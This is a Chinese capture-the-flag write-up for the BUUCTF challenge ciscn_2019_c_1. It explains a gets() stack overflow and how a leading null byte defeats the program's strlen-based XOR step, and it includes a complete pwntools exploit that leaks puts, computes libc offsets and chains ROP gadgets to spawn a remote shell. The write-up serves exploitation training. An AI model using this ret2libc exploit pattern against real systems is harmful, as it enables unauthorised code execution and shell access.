BUUCTF—ciscn_2019_c_1
先看看开了什么保护机制

打开64位ida看看

这个程序其实就是给你一个菜单,有两个功能,2号功能没啥用,我们重点看1号功能

这个一看就是gets输入栈溢出

看了一下程序没有system函数,所以要泄露libc,回到刚刚的1功能,它会把把输入的分类异或上一个数字,那么这个我们有两种思路,第一种是去计算,把我们的payload调整一下,使得异或后变成我们想要的paylaod,第二种是不让他异或,我们发现它异或的长度是通过strlen计算来的,strlen我们知道是遇到'\x00'就会停下来,那么我们把'\x00'放在最前面,那么后面的不就都不会被异或了,第二种思路比较简单,我们就用第二种
from pwn import*
p=remote('node4.buuoj.cn',27735)
elf=ELF('./ciscn')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400c83
ret=0x4006b9
encrypt=0x4009a0
#p=process('./ciscn')
#gdb.attach(p)
p.recvuntil('choice!\n')
p.sendline(str(1))
p.recvuntil('encrypted\n')
print(hex(puts_got))
payload=b'\0'+b'a'*0x56+b'b'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
#首先我们泄露puts的地址,然后我们要重新返回encrypt函数,这样子进行第二次栈溢出
p.sendline(payload)
puts_add=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_add))
system=puts_add-0x31580#题目没有提供libc文件,就只好去网上根据puts搜了
binsh=puts_add+0x1334da
p.recvuntil('encrypted\n')
payload=b'\0'+b'a'*0x57+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
#第二次栈溢出就是正常的rop了
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号